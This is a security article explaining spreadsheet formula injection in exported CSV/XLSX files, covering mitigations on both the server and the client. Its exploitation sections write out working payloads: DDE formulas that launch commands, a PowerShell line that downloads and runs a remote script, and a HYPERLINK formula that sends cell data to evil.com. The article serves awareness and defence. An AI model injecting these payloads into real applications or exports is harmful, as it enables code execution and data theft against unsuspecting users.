Formula Injection

Are you on the watch for malware within spreadsheet exports of your banking transactions? Or how about within a .CSV back-up of your contacts list?
A Formula Injection (or Spreadsheet Formula Injection) vulnerability affects applications that export spreadsheet files which are dynamically constructed from inadequately validated input data. Once injected, it affects application end-users that access the application exported spreadsheet files. Successful exploitation can lead to impacts such as client-sided command injection, code execution or remote ex-filtration of contained confidential data.

Introduction
Relevant users of popular spreadsheet processors (such as Apache OpenOffice's Calc or Microsoft Office's Excel) are well aware about the extensive support have for formulae. It is also widely believed that the formulae themselves (with the exception of all macros) have substantially safe operations. Research however may have proven otherwise.
Study into leveraging specific formulae for malicious exploitation yielded impacts ranging from the medium risk of exfiltration the open document's contents to the high risk issue of remote code execution. However, exploitation would still require a gullible user, eager to open spreadsheet files sent by an untrusted entity without caution; and in such a case, the likelihood of impact would not have been any better than macro based viruses, an already well-explored (and more adept) attack vector.
This is where Spreadsheet Formula Injection comes into play. Malicious formulae are supplied within input parameters with the hope that they are included inadequately validated into spreadsheets exported to legitimate application users. As an example, this is possible in cases where shipping addresses for sales orders are exportable into an .xlsx spreadsheet by an online shop owner, or in another example, survey answers exportable by a surveyor.

Exploiting Formula Injection
Exploiting Formula Injection can be relatively straightforward. Here, we use a Dynamic Data Exchange formula to execute Calculator as an example payload on MS Excel Windows victim.
As an attacker, begin by using "=cmd|'/C calc.exe'!Z0" as the first name or address line 1 in an eCommence application and proceed to purchase an arbitrary item. Complete the checkout procedure.

Now, as the victim, use the application's file-export functionality (which would include the first name, say within the shipping address for the seller's reference). Opening this in Microsoft Excel, prompts the following security warnings:

If the warnings are clicked-through (more on that later), we've got command injection. This can then be elevated to remote code execution through numerous methods. An example could be by using powershell to download and execute malicious code without necessarily alerting the anti-virus.
=cmd|'/Cpowershell Import-Module BitsTransfer; Start-BitsTransfer -
source https://141.io/shell.ps; Invoke-Item shell.ps;'!z

Finally, the payload itself can modified to work without numeric and spaces. An example of that would be as:
=cmd|'/Ccalc.exe'!z
In-fact, if passing arguments is not a requirement, one may even do something such as =calc|a!z which can be useful in certain cases for local privilege escalation or as a minimalistic proof of concept.

Other Payloads
Now, apart from going for code exec, it would also be possibly to use other formulae like HYPERLINK to exfiltrate confidential information from the document. This vector was interesting because hyperlinks did not prompt any warnings when the file was accessed or even when they were clicked.
Let’s picture a spreadsheet with statistics on mutual fund brokers. It holds a list of their clients, their investment amounts, their account information and other like a portfolio name.
If any one client, say Eve, changes her name or portfolio name to: =HYPERLINK("http://evil.com?x="&A3&","&B3&"[CR]","Error fetching info: Click me to resolve.")

Using a specifically crafted payload, any victim that clicks the hyperlink can send all of the document’s data to a remote site.

[membership level="1,2,3,4,5,6,7,8"]

Server-side Mitigation
Mitigation mechanisms range from adding characters such as a single tick ' or a space before cells starting with an equals character = to HTMLEncoding special characters. However, consideration should be given to not break a legitimate user's input-integrity. Several vendors were contacted about this vulnerability and while some classified it as a high-risk issue, others did not preserve it to be a significant application security risk.

Client-side Mitigation
In the latest OpenOffice Calc and LibreOffice Calc versions, the DDE Formula’s command execution functionality was revoked after the initial discovery of a command injection vulnerability (CVE-2014-3524).
In Microsoft Office's Excel however, command injection is still possible with the exception of the security warnings which are believed to be an adequate defence measure. They say the following:

Warning 1: "Do not enable this content unless you trust the source of this file".
Warning 2: "Only Click Yes, if you trust the source of this of this workbook".
Note that the warnings ask the user to enable content only if they trust the source, which in this case they have no reason not to.
Additionally, [a reputable previous study] showed that up-to 50% of users choose to disregard most security warnings, which leans the issue towards being an inadequate security safeguard. [1] (http://scarybeastsecurity.blogspot.co.uk/2010_06_01_archive.html)
It may also be interesting to know that the RFC for CSVs states "CSV files contain passive text data that should not pose any risks”, but also that “private data may be shared via this format (which of course applies to any text data)". Formulae contained within .CSV files are therefore supported by all major spreadsheet processors.

Conclusion
To conclude, Formula Injection can be mitigated on both the server and the client. However, if the client-side vendor finds the warnings sufficient and the server-side vendor cannot see any security implication, then the result seems to be a case if accepted risk of at least moderate likelihood. My endeavour has been to document this so as to improve awareness and reduce forced unknowing exposure.
The research on this matter was led by James Kettle (@albinowax) of Context Information Security. ContextIS's [blog post] covers research on the topic. [2] (www.contextis.co.uk/resources/blog/comma-separated-vulnerabilities/)